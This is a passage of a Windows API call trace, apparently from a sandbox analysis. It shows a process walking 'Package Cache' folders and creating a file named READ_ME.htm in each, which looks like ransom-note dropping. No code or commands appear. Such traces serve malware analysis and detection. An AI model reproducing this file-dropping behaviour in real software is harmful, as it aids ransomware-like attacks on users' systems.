[0142.234] WriteFile (in: hFile=0x1d0, lpBuffer=0x2857528*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2857528*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0142.235] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{65e650ff-30be-469d-b63a-418d71ea1765}", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{65e650ff-30be-469d-b63a-418d71ea1765}", lpFilePart=0x0) returned 0x47 [0142.235] SetErrorMode (uMode=0x1) returned 0x0 [0142.235] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{65e650ff-30be-469d-b63a-418d71ea1765}\\*" (normalized: "c:\\users\\all users\\package cache\\{65e650ff-30be-469d-b63a-418d71ea1765}\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93ae8a70, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fe41d80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fe41d80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.235] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.236] SetErrorMode (uMode=0x0) returned 0x1 [0142.236] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{65e650ff-30be-469d-b63a-418d71ea1765}", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{65e650ff-30be-469d-b63a-418d71ea1765}", lpFilePart=0x0) returned 0x47 [0142.236] SetErrorMode (uMode=0x1) returned 0x0 [0142.236] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{65e650ff-30be-469d-b63a-418d71ea1765}\\*" (normalized: "c:\\users\\all users\\package cache\\{65e650ff-30be-469d-b63a-418d71ea1765}\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93ae8a70, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fe41d80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fe41d80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.236] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.236] SetErrorMode (uMode=0x0) returned 0x1 [0142.236] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{65e650ff-30be-469d-b63a-418d71ea1765}\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{65e650ff-30be-469d-b63a-418d71ea1765}\\READ_ME.htm", lpFilePart=0x0) returned 0x53 [0142.236] SetErrorMode (uMode=0x1) returned 0x0 [0142.236] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{65e650ff-30be-469d-b63a-418d71ea1765}\\READ_ME.htm" (normalized: "c:\\users\\all users\\package cache\\{65e650ff-30be-469d-b63a-418d71ea1765}\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.237] SetErrorMode (uMode=0x0) returned 0x1 [0142.237] GetFileType (hFile=0x1d0) returned 0x1 [0142.237] WriteFile (in: hFile=0x1d0, lpBuffer=0x285de78*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x285de78*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0142.238] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{6913e92a-b64e-41c9-a5e6-cef39207fe89}", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{6913e92a-b64e-41c9-a5e6-cef39207fe89}", lpFilePart=0x0) returned 0x47 [0142.239] SetErrorMode (uMode=0x1) returned 0x0 [0142.239] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{6913e92a-b64e-41c9-a5e6-cef39207fe89}\\*" (normalized: "c:\\users\\all users\\package cache\\{6913e92a-b64e-41c9-a5e6-cef39207fe89}\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa504d590, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fe67ee0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fe67ee0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.239] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.239] SetErrorMode (uMode=0x0) returned 0x1 [0142.239] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{6913e92a-b64e-41c9-a5e6-cef39207fe89}", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{6913e92a-b64e-41c9-a5e6-cef39207fe89}", lpFilePart=0x0) returned 0x47 [0142.239] SetErrorMode (uMode=0x1) returned 0x0 [0142.240] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{6913e92a-b64e-41c9-a5e6-cef39207fe89}\\*" (normalized: "c:\\users\\all users\\package cache\\{6913e92a-b64e-41c9-a5e6-cef39207fe89}\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa504d590, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fe67ee0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fe67ee0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.240] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.240] SetErrorMode (uMode=0x0) returned 0x1 [0142.240] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{6913e92a-b64e-41c9-a5e6-cef39207fe89}\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{6913e92a-b64e-41c9-a5e6-cef39207fe89}\\READ_ME.htm", lpFilePart=0x0) returned 0x53 [0142.240] SetErrorMode (uMode=0x1) returned 0x0 [0142.240] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{6913e92a-b64e-41c9-a5e6-cef39207fe89}\\READ_ME.htm" (normalized: "c:\\users\\all users\\package cache\\{6913e92a-b64e-41c9-a5e6-cef39207fe89}\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.242] SetErrorMode (uMode=0x0) returned 0x1 [0142.242] GetFileType (hFile=0x1d0) returned 0x1 [0142.242] WriteFile (in: hFile=0x1d0, lpBuffer=0x28647c8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x28647c8*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0142.243] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508", lpFilePart=0x0) returned 0x53 [0142.243] SetErrorMode (uMode=0x1) returned 0x0 [0142.244] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\*" (normalized: "c:\\users\\all users\\package cache\\{7d0b74c2-c3f8-4af1-940f-cd79ab4b2dce}v14.25.28508\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa523c770, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fe67ee0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fe67ee0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.244] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.246] SetErrorMode (uMode=0x0) returned 0x1 [0142.246] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508", lpFilePart=0x0) returned 0x53 [0142.246] SetErrorMode (uMode=0x1) returned 0x0 [0142.247] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\*" (normalized: "c:\\users\\all users\\package cache\\{7d0b74c2-c3f8-4af1-940f-cd79ab4b2dce}v14.25.28508\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa523c770, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fe67ee0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fe67ee0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.247] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.247] SetErrorMode (uMode=0x0) returned 0x1 [0142.247] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages", lpFilePart=0x0) returned 0x5c [0142.247] SetErrorMode (uMode=0x1) returned 0x0 [0142.247] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\{7d0b74c2-c3f8-4af1-940f-cd79ab4b2dce}v14.25.28508\\packages\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa523c770, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fe67ee0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fe67ee0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.248] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.248] SetErrorMode (uMode=0x0) returned 0x1 [0142.248] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages", lpFilePart=0x0) returned 0x5c [0142.248] SetErrorMode (uMode=0x1) returned 0x0 [0142.248] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\{7d0b74c2-c3f8-4af1-940f-cd79ab4b2dce}v14.25.28508\\packages\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa523c770, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fe67ee0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fe67ee0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.248] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.248] SetErrorMode (uMode=0x0) returned 0x1 [0142.248] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages\\vcRuntimeAdditional_amd64", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages\\vcRuntimeAdditional_amd64", lpFilePart=0x0) returned 0x76 [0142.249] SetErrorMode (uMode=0x1) returned 0x0 [0142.249] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages\\vcRuntimeAdditional_amd64\\*" (normalized: "c:\\users\\all users\\package cache\\{7d0b74c2-c3f8-4af1-940f-cd79ab4b2dce}v14.25.28508\\packages\\vcruntimeadditional_amd64\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa523c770, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fe67ee0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fe67ee0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.249] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.249] SetErrorMode (uMode=0x0) returned 0x1 [0142.249] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages\\vcRuntimeAdditional_amd64", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages\\vcRuntimeAdditional_amd64", lpFilePart=0x0) returned 0x76 [0142.250] SetErrorMode (uMode=0x1) returned 0x0 [0142.250] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages\\vcRuntimeAdditional_amd64\\*" (normalized: "c:\\users\\all users\\package cache\\{7d0b74c2-c3f8-4af1-940f-cd79ab4b2dce}v14.25.28508\\packages\\vcruntimeadditional_amd64\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa523c770, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fe67ee0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fe67ee0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.250] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.250] SetErrorMode (uMode=0x0) returned 0x1 [0142.250] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages\\vcRuntimeAdditional_amd64\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages\\vcRuntimeAdditional_amd64\\READ_ME.htm", lpFilePart=0x0) returned 0x82 [0142.250] SetErrorMode (uMode=0x1) returned 0x0 [0142.250] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages\\vcRuntimeAdditional_amd64\\READ_ME.htm" (normalized: "c:\\users\\all users\\package cache\\{7d0b74c2-c3f8-4af1-940f-cd79ab4b2dce}v14.25.28508\\packages\\vcruntimeadditional_amd64\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.251] GetFileType (hFile=0x1d0) returned 0x1 [0142.251] SetErrorMode (uMode=0x0) returned 0x1 [0142.251] GetFileType (hFile=0x1d0) returned 0x1 [0142.252] WriteFile (in: hFile=0x1d0, lpBuffer=0x2870378*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x2870378*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0142.253] CloseHandle (hObject=0x1d0) returned 1 [0142.253] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages\\READ_ME.htm", lpFilePart=0x0) returned 0x68 [0142.253] SetErrorMode (uMode=0x1) returned 0x0 [0142.253] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages\\READ_ME.htm" (normalized: "c:\\users\\all users\\package cache\\{7d0b74c2-c3f8-4af1-940f-cd79ab4b2dce}v14.25.28508\\packages\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.254] GetFileType (hFile=0x1d0) returned 0x1 [0142.254] SetErrorMode (uMode=0x0) returned 0x1 [0142.254] GetFileType (hFile=0x1d0) returned 0x1 [0142.254] WriteFile (in: hFile=0x1d0, lpBuffer=0x28749e8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x28749e8*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0142.255] CloseHandle (hObject=0x1d0) returned 1 [0142.256] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\READ_ME.htm", lpFilePart=0x0) returned 0x5f [0142.256] SetErrorMode (uMode=0x1) returned 0x0 [0142.256] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\READ_ME.htm" (normalized: "c:\\users\\all users\\package cache\\{7d0b74c2-c3f8-4af1-940f-cd79ab4b2dce}v14.25.28508\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.257] GetFileType (hFile=0x1d0) returned 0x1 [0142.257] SetErrorMode (uMode=0x0) returned 0x1 [0142.257] GetFileType (hFile=0x1d0) returned 0x1 [0142.257] WriteFile (in: hFile=0x1d0, lpBuffer=0x2879028*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2879028*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0142.258] CloseHandle (hObject=0x1d0) returned 1 [0142.258] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpFilePart=0x0) returned 0x52 [0142.259] SetErrorMode (uMode=0x1) returned 0x0 [0142.259] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20270a50, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4ff4c720, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ff4c720, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.259] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.259] SetErrorMode (uMode=0x0) returned 0x1 [0142.259] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpFilePart=0x0) returned 0x52 [0142.260] SetErrorMode (uMode=0x1) returned 0x0 [0142.260] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20270a50, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4ff4c720, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ff4c720, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.260] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.260] SetErrorMode (uMode=0x0) returned 0x1 [0142.260] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages", lpFilePart=0x0) returned 0x5b [0142.261] SetErrorMode (uMode=0x1) returned 0x0 [0142.261] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20296bb0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4ff4c720, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ff4c720, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.261] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.261] SetErrorMode (uMode=0x0) returned 0x1 [0142.261] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages", lpFilePart=0x0) returned 0x5b [0142.261] SetErrorMode (uMode=0x1) returned 0x0 [0142.262] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20296bb0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4ff4c720, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ff4c720, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.262] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.262] SetErrorMode (uMode=0x0) returned 0x1 [0142.262] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64", lpFilePart=0x0) returned 0x75 [0142.262] SetErrorMode (uMode=0x1) returned 0x0 [0142.262] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\*"), lpFindFileData=0x21d070 | out: 